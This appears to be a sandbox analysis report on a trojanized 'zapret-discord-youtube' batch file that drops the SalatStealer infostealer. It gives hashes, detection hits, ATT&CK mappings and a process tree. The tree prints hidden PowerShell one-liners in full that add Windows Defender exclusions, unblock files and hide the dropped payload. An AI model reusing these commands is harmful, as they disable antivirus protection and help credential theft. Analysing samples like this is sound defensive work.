salatstealer | f2a30626480baafea71d672d26b0175bfe2a9c034bfd2397f7a6b472a74ec39d

Analysis

max time kernel
149s
max time network
145s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
30/10/2026, 12:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
zapret-discord-youtube-1.9.9c/general (ALT).bat
Size 6KB
Sample261030-pcvrbsbz21
SHA256 f2a30626480baafea71d672d26b0175bfe2a9c034bfd2397f7a6b472a74ec39d
MD5 2eff1bd216ad4ff6c009c03af95b2d1a
SHA1 ca6ac598a706c1b0072918e8d9f182c2bbdf98db
SHA512 2fed2808a59c1a4efd320cf510b6901ee2f8c2965414fad01c75f8af346c3a0f480decad99173d2a71e1475cd9f8616af1422f4b84eb27fe35a417a076e9b67a
SSDEEP 192:U4rDaYZBWTyNAURi4b/agmQGB/GRRMSMByGB/GR1Uv/GRR1v/GR1kP+RYA+RRpp:U4ruYZBWTyNAURzSgmU8iWkRVp
TLSH
T1A7D1E057F00CDD0AF48E797FF8AA95E5301784D32DC5E892619788FCCC0E9B9698E885
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery execution salatstealer spyware stealer upx

Malware Config

Signatures

Family: salatstealer
SalatStealer is a stealer that takes sceenshot written in Golang.
stealer salatstealer

Detect SalatStealer payload 19 IoCs

resource	yara_rule
behavioral32/memory/2532-9-0x0000000000850000-0x00000000014A4000-memory.dmp	family_salatstealer
behavioral32/memory/3912-40-0x0000000000850000-0x00000000014A4000-memory.dmp	family_salatstealer
behavioral32/memory/3912-41-0x0000000000850000-0x00000000014A4000-memory.dmp	family_salatstealer
behavioral32/memory/3912-42-0x0000000000850000-0x00000000014A4000-memory.dmp	family_salatstealer
behavioral32/memory/3912-52-0x0000000000850000-0x00000000014A4000-memory.dmp	family_salatstealer
behavioral32/memory/3344-53-0x0000000000770000-0x00000000013C4000-memory.dmp	family_salatstealer
behavioral32/memory/3344-54-0x0000000000770000-0x00000000013C4000-memory.dmp	family_salatstealer
behavioral32/memory/3344-55-0x0000000000770000-0x00000000013C4000-memory.dmp	family_salatstealer
behavioral32/memory/4460-77-0x0000000000FE0000-0x0000000001C34000-memory.dmp	family_salatstealer
behavioral32/memory/3344-85-0x0000000000770000-0x00000000013C4000-memory.dmp	family_salatstealer
behavioral32/memory/3344-104-0x0000000000770000-0x00000000013C4000-memory.dmp	family_salatstealer
behavioral32/memory/3344-105-0x0000000000770000-0x00000000013C4000-memory.dmp	family_salatstealer
behavioral32/memory/3344-106-0x0000000000770000-0x00000000013C4000-memory.dmp	family_salatstealer
behavioral32/memory/3344-107-0x0000000000770000-0x00000000013C4000-memory.dmp	family_salatstealer
behavioral32/memory/3344-108-0x0000000000770000-0x00000000013C4000-memory.dmp	family_salatstealer
behavioral32/memory/3344-109-0x0000000000770000-0x00000000013C4000-memory.dmp	family_salatstealer
behavioral32/memory/3344-110-0x0000000000770000-0x00000000013C4000-memory.dmp	family_salatstealer
behavioral32/memory/3344-111-0x0000000000770000-0x00000000013C4000-memory.dmp	family_salatstealer
behavioral32/memory/3344-112-0x0000000000770000-0x00000000013C4000-memory.dmp	family_salatstealer

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4024	powershell.exe
2948	powershell.exe
4024	powershell.exe
2948	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
3912	wdvcache.exe
2532	wdvcache.exe
3344	wininit.exe
4460	wininit.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
824	tasklist.exe

UPX packed file 24 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral32/files/0x00070000000242f1-0.dat	upx
behavioral32/memory/3912-2-0x0000000000850000-0x00000000014A4000-memory.dmp	upx
behavioral32/memory/2532-3-0x0000000000850000-0x00000000014A4000-memory.dmp	upx
behavioral32/memory/2532-9-0x0000000000850000-0x00000000014A4000-memory.dmp	upx
behavioral32/memory/3912-40-0x0000000000850000-0x00000000014A4000-memory.dmp	upx
behavioral32/memory/3912-41-0x0000000000850000-0x00000000014A4000-memory.dmp	upx
behavioral32/memory/3912-42-0x0000000000850000-0x00000000014A4000-memory.dmp	upx
behavioral32/memory/3344-51-0x0000000000770000-0x00000000013C4000-memory.dmp	upx
behavioral32/memory/3912-52-0x0000000000850000-0x00000000014A4000-memory.dmp	upx
behavioral32/memory/3344-53-0x0000000000770000-0x00000000013C4000-memory.dmp	upx
behavioral32/memory/3344-54-0x0000000000770000-0x00000000013C4000-memory.dmp	upx
behavioral32/memory/3344-55-0x0000000000770000-0x00000000013C4000-memory.dmp	upx
behavioral32/memory/4460-73-0x0000000000FE0000-0x0000000001C34000-memory.dmp	upx
behavioral32/memory/4460-77-0x0000000000FE0000-0x0000000001C34000-memory.dmp	upx
behavioral32/memory/3344-85-0x0000000000770000-0x00000000013C4000-memory.dmp	upx
behavioral32/memory/3344-104-0x0000000000770000-0x00000000013C4000-memory.dmp	upx
behavioral32/memory/3344-105-0x0000000000770000-0x00000000013C4000-memory.dmp	upx
behavioral32/memory/3344-106-0x0000000000770000-0x00000000013C4000-memory.dmp	upx
behavioral32/memory/3344-107-0x0000000000770000-0x00000000013C4000-memory.dmp	upx
behavioral32/memory/3344-108-0x0000000000770000-0x00000000013C4000-memory.dmp	upx
behavioral32/memory/3344-109-0x0000000000770000-0x00000000013C4000-memory.dmp	upx
behavioral32/memory/3344-110-0x0000000000770000-0x00000000013C4000-memory.dmp	upx
behavioral32/memory/3344-111-0x0000000000770000-0x00000000013C4000-memory.dmp	upx
behavioral32/memory/3344-112-0x0000000000770000-0x00000000013C4000-memory.dmp	upx

Drops file in Program Files directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Google\Chrome\Application\wininit.exe	wininit.exe
File opened for modification	C:\Program Files (x86)\Windows Photo Viewer\82b809c8-600e-35cf-e336-6d930793c860	wdvcache.exe
File opened for modification	C:\Program Files (x86)\Windows Photo Viewer\StartMenuExperienceHost.exe	wdvcache.exe
File opened for modification	C:\Program Files (x86)\WindowsPowerShell\82b809c8-600e-35cf-e336-6d930793c860	wdvcache.exe
File opened for modification	C:\Program Files (x86)\WindowsPowerShell\wininit.exe	wdvcache.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
876	cmd.exe
3012	cmd.exe
4440	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wdvcache.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wininit.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wininit.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wininit.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wdvcache.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wdvcache.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wdvcache.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wininit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wininit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wdvcache.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 46 IoCs

pid	Process
4024	powershell.exe
2948	powershell.exe
4024	powershell.exe
2948	powershell.exe
3912	wdvcache.exe
3912	wdvcache.exe
3912	wdvcache.exe
3912	wdvcache.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3180	powershell.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3180	powershell.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe
3344	wininit.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
3344	wininit.exe

Suspicious behavior: LoadsDriver 1 IoCs

pid	Process
660	Process not Found

Suspicious use of AdjustPrivilegeToken 7 IoCs

description	pid	Process
Token: SeDebugPrivilege	4024	powershell.exe
Token: SeDebugPrivilege	824	tasklist.exe
Token: SeRestorePrivilege	1404	winws.exe
Token: SeBackupPrivilege	1404	winws.exe
Token: SeDebugPrivilege	1404	winws.exe
Token: SeDebugPrivilege	2948	powershell.exe
Token: SeDebugPrivilege	3180	powershell.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 876 wrote to memory of 1784	876	cmd.exe	85
PID 1784 wrote to memory of 4620	1784	net.exe	86
PID 876 wrote to memory of 2924	876	cmd.exe	87
PID 876 wrote to memory of 4460	876	cmd.exe	88
PID 876 wrote to memory of 3912	876	cmd.exe	89
PID 876 wrote to memory of 2532	876	cmd.exe	90
PID 876 wrote to memory of 4440	876	cmd.exe	91
PID 876 wrote to memory of 3012	876	cmd.exe	92
PID 4440 wrote to memory of 4024	4440	cmd.exe	93
PID 876 wrote to memory of 824	876	cmd.exe	94
PID 876 wrote to memory of 4684	876	cmd.exe	95
PID 3012 wrote to memory of 2948	3012	cmd.exe	97
PID 876 wrote to memory of 1404	876	cmd.exe	98
PID 876 wrote to memory of 1224	876	cmd.exe	99
PID 3912 wrote to memory of 3344	3912	wdvcache.exe	108
PID 3344 wrote to memory of 3180	3344	wininit.exe	111
PID 3344 wrote to memory of 4460	3344	wininit.exe	113

Views/modifies file attributes 1 TTPs 2 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2924	attrib.exe
4460	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\general (ALT).bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:876
- C:\Windows\system32\net.exe
  net session
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1784
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 session
    3⤵
    PID:4620
- C:\Windows\system32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\.wd"
  2⤵
  - Views/modifies file attributes
  PID:2924
- C:\Windows\system32\attrib.exe
  attrib +h +s "C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\.wd\wdvcache.exe"
  2⤵
  - Views/modifies file attributes
  PID:4460
- C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\.wd\wdvcache.exe
  "C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\.wd\wdvcache.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:3912
- - C:\Program Files (x86)\WindowsPowerShell\wininit.exe
    "C:\Program Files (x86)\WindowsPowerShell\wininit.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in Program Files directory
    - Reads the TCP/IP host and domain name from the registry
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of WriteProcessMemory
    PID:3344
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3180
  - - C:\Program Files\Google\Chrome\Application\wininit.exe
      "C:\Program Files\Google\Chrome\Application\wininit.exe" -
      4⤵
      Executes dropped EXE
      Reads the TCP/IP host and domain name from the registry
      System Location Discovery: System Language Discovery
      PID:4460
- C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\.wd\wdvcache.exe
  "C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\.wd\wdvcache.exe"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - System Location Discovery: System Language Discovery
  PID:2532
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\windivert_drv.cmd"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4440
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$e=$ErrorActionPreference; $ErrorActionPreference='SilentlyContinue'; $bin='C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\'; $pkg=(Split-Path -Parent $bin.TrimEnd('\'))+'\'; $wd=$bin+'.wd\'; foreach($p in @($pkg,$bin,$wd)){ if($p -and (Test-Path -LiteralPath $p)){ Add-MpPreference -ExclusionPath $p } }; $files=@($bin+'WinDivert64.sys',$bin+'WinDivert.dll',$bin+'winws.exe',$bin+'cygwin1.dll',$wd+'wdvcache.exe'); foreach($f in $files){ if(Test-Path -LiteralPath $f){ Add-MpPreference -ExclusionPath $f; Unblock-File -LiteralPath $f; Remove-Item -LiteralPath ($f+':Zone.Identifier') -Force; if($f -match '\.exe$'){ Add-MpPreference -ControlledFolderAccessAllowedApplications $f } } }; Get-ChildItem -LiteralPath $bin -File -ErrorAction SilentlyContinue | Where-Object { $_.Extension -match '\.(exe|dll|sys|cmd)$' } | ForEach-Object { Unblock-File -LiteralPath $_.FullName; Remove-Item -LiteralPath ($_.FullName+':Zone.Identifier') -Force }; if(Test-Path -LiteralPath $wd){ Get-ChildItem -LiteralPath $wd -File -ErrorAction SilentlyContinue | Where-Object { $_.Extension -match '\.(exe|dll|sys)$' } | ForEach-Object { Unblock-File -LiteralPath $_.FullName; Remove-Item -LiteralPath ($_.FullName+':Zone.Identifier') -Force } }; Add-MpPreference -ExclusionProcess 'winws.exe'; Add-MpPreference -ExclusionProcess 'wdvcache.exe'; $ErrorActionPreference=$e"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4024
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\defender_guard.cmd"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3012
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoLogo -NoProfile -NonInteractive -WindowStyle Hidden -ExecutionPolicy Bypass -Command "$e=$ErrorActionPreference; $ErrorActionPreference='SilentlyContinue'; $pkg=$env:GBZAP_PKG; $bin=$env:GBZAP_BIN; $wd=$env:GBZAP_WD; $exe=$env:GBZAP_EXE; $winws=$env:GBZAP_WINWS; foreach($p in @($pkg,$bin,$wd)){ if($p -and (Test-Path -LiteralPath $p)){ Add-MpPreference -ExclusionPath $p } }; foreach($f in @($exe,$winws,($bin+'WinDivert64.sys'),($bin+'WinDivert.dll'),($bin+'cygwin1.dll'))){ if($f -and (Test-Path -LiteralPath $f)){ Add-MpPreference -ExclusionPath $f } } }; Add-MpPreference -ExclusionProcess 'wdvcache.exe'; Add-MpPreference -ExclusionProcess 'winws.exe'; foreach($app in @($exe,$winws)){ if($app -and (Test-Path -LiteralPath $app)){ Add-MpPreference -ControlledFolderAccessAllowedApplications $app } }; $ub={ param($p) if($p -and (Test-Path -LiteralPath $p)){ Unblock-File -LiteralPath $p; Remove-Item -LiteralPath ($p+':Zone.Identifier') -Force } }; & $ub $exe; & $ub $winws; foreach($dir in @($pkg,$bin,$wd)){ if(-not $dir -or -not (Test-Path -LiteralPath $dir)){ continue }; Get-ChildItem -LiteralPath $dir -File -ErrorAction SilentlyContinue | Where-Object { $_.Extension -match '\.(exe|dll|sys|cmd|bat|ps1)$' } | ForEach-Object { & $ub $_.FullName } }; $ErrorActionPreference=$e"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2948
- C:\Windows\system32\tasklist.exe
  tasklist /FI "IMAGENAME eq winws.exe"
  2⤵
  - Discovers running processes
  - Suspicious use of AdjustPrivilegeToken
  PID:824
- C:\Windows\system32\find.exe
  find /I "winws.exe"
  2⤵
  PID:4684
- C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\winws.exe
  "C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\winws.exe" --wf-tcp=80,443,2053,2083,2087,2096,8443,12 --wf-udp=443,19294-19344,50000-50100,12 --filter-udp=443 --hostlist="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\list-general.txt" --hostlist="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\list-general-user.txt" --hostlist-exclude="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\list-exclude.txt" --hostlist-exclude="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\list-exclude-user.txt" --ipset-exclude="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\ipset-exclude.txt" --ipset-exclude="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\ipset-exclude-user.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\quic_initial_www_google_com.bin" --new --filter-udp=19294-19344,50000-50100 --filter-l7=discord,stun --dpi-desync=fake --dpi-desync-fake-discord="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\quic_initial_dbankcloud_ru.bin" --dpi-desync-fake-stun="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\quic_initial_dbankcloud_ru.bin" --dpi-desync-repeats=6 --new --filter-tcp=2053,2083,2087,2096,8443 --hostlist-domains=discord.media --dpi-desync=fake,fakedsplit --dpi-desync-repeats=6 --dpi-desync-fooling=ts --dpi-desync-fakedsplit-pattern=0x00 --dpi-desync-fake-tls="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\tls_clienthello_www_google_com.bin" --new --filter-tcp=443 --hostlist="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\list-google.txt" --ip-id=zero --dpi-desync=fake,fakedsplit --dpi-desync-repeats=6 --dpi-desync-fooling=ts --dpi-desync-fakedsplit-pattern=0x00 --dpi-desync-fake-tls="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\tls_clienthello_www_google_com.bin" --new --filter-tcp=80,443 --hostlist="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\list-general.txt" --hostlist="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\list-general-user.txt" --hostlist-exclude="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\list-exclude.txt" --hostlist-exclude="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\list-exclude-user.txt" --ipset-exclude="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\ipset-exclude.txt" --ipset-exclude="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\ipset-exclude-user.txt" --dpi-desync=fake,fakedsplit --dpi-desync-repeats=6 --dpi-desync-fooling=ts --dpi-desync-fakedsplit-pattern=0x00 --dpi-desync-fake-tls="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\stun.bin" --dpi-desync-fake-tls="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\tls_clienthello_www_google_com.bin" --dpi-desync-fake-http="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\tls_clienthello_max_ru.bin" --new --filter-udp=443 --ipset="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\ipset-all.txt" --hostlist-exclude="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\list-exclude.txt" --hostlist-exclude="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\list-exclude-user.txt" --ipset-exclude="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\ipset-exclude.txt" --ipset-exclude="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\ipset-exclude-user.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\quic_initial_www_google_com.bin" --new --filter-tcp=80,443,8443 --ipset="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\ipset-all.txt" --hostlist-exclude="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\list-exclude.txt" --hostlist-exclude="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\list-exclude-user.txt" --ipset-exclude="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\ipset-exclude.txt" --ipset-exclude="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\ipset-exclude-user.txt" --dpi-desync=fake,fakedsplit --dpi-desync-repeats=6 --dpi-desync-fooling=ts --dpi-desync-fakedsplit-pattern=0x00 --dpi-desync-fake-tls="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\stun.bin" --dpi-desync-fake-tls="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\tls_clienthello_www_google_com.bin" --dpi-desync-fake-http="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\tls_clienthello_max_ru.bin" --new --filter-tcp=12 --ipset="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\ipset-all.txt" --ipset-exclude="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\ipset-exclude.txt" --ipset-exclude="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\ipset-exclude-user.txt" --dpi-desync=fake,fakedsplit --dpi-desync-repeats=6 --dpi-desync-any-protocol=1 --dpi-desync-cutoff=n4 --dpi-desync-fooling=ts --dpi-desync-fakedsplit-pattern=0x00 --dpi-desync-fake-tls="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\stun.bin" --dpi-desync-fake-tls="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\tls_clienthello_www_google_com.bin" --dpi-desync-fake-http="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\tls_clienthello_max_ru.bin" --new --filter-udp=12 --ipset="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\ipset-all.txt" --ipset-exclude="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\ipset-exclude.txt" --ipset-exclude="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\lists\ipset-exclude-user.txt" --dpi-desync=fake --dpi-desync-repeats=12 --dpi-desync-any-protocol=1 --dpi-desync-fake-unknown-udp="C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\quic_initial_dbankcloud_ru.bin" --dpi-desync-cutoff=n3
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1404
- C:\Windows\system32\chcp.com
  chcp 65001
  2⤵
  PID:1224

C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\WinDivert64.sys
C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\WinDivert64.sys
1⤵
PID:1268

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:5064

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1248

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Process Discovery

T1057

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 88fd90a5240ebd3d5be366beb97a6ffeb46db7db7aff201e50c8dff012f1e866
MD5 bac291a00338b13f5ff9044cee210625
SHA1 439dc38be335def03a8c649c08f0c9137549474d
SHA512 02e7cbc5af4ebd0d20b5298ca9efe8dca92f3d17e7eab4eae4da43c57295463182b3474009cd921a537cb968fcedce330a636d19e46d7a99d56a50d596ae0e76
TLSH
T1C3217827B3DC8921CCC6163A109D9C1176B683C7819EDF9FAFC4D614A07F594CB71694
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_5bjwq2oj.ucc.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5bjwq2oj.ucc.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

wdvcache.exe

Path C:\Users\Admin\AppData\Local\Temp\zapret-discord-youtube-1.9.9c\bin\.wd\wdvcache.exe
Size 3.4MB
SHA256 0a0b3d7c1be53671707153d5c0d24f966fe5952892836f0fd02c5fbf3eff660f
MD5 f16f6214bacabfe8bb4758e4e5f7d9cc
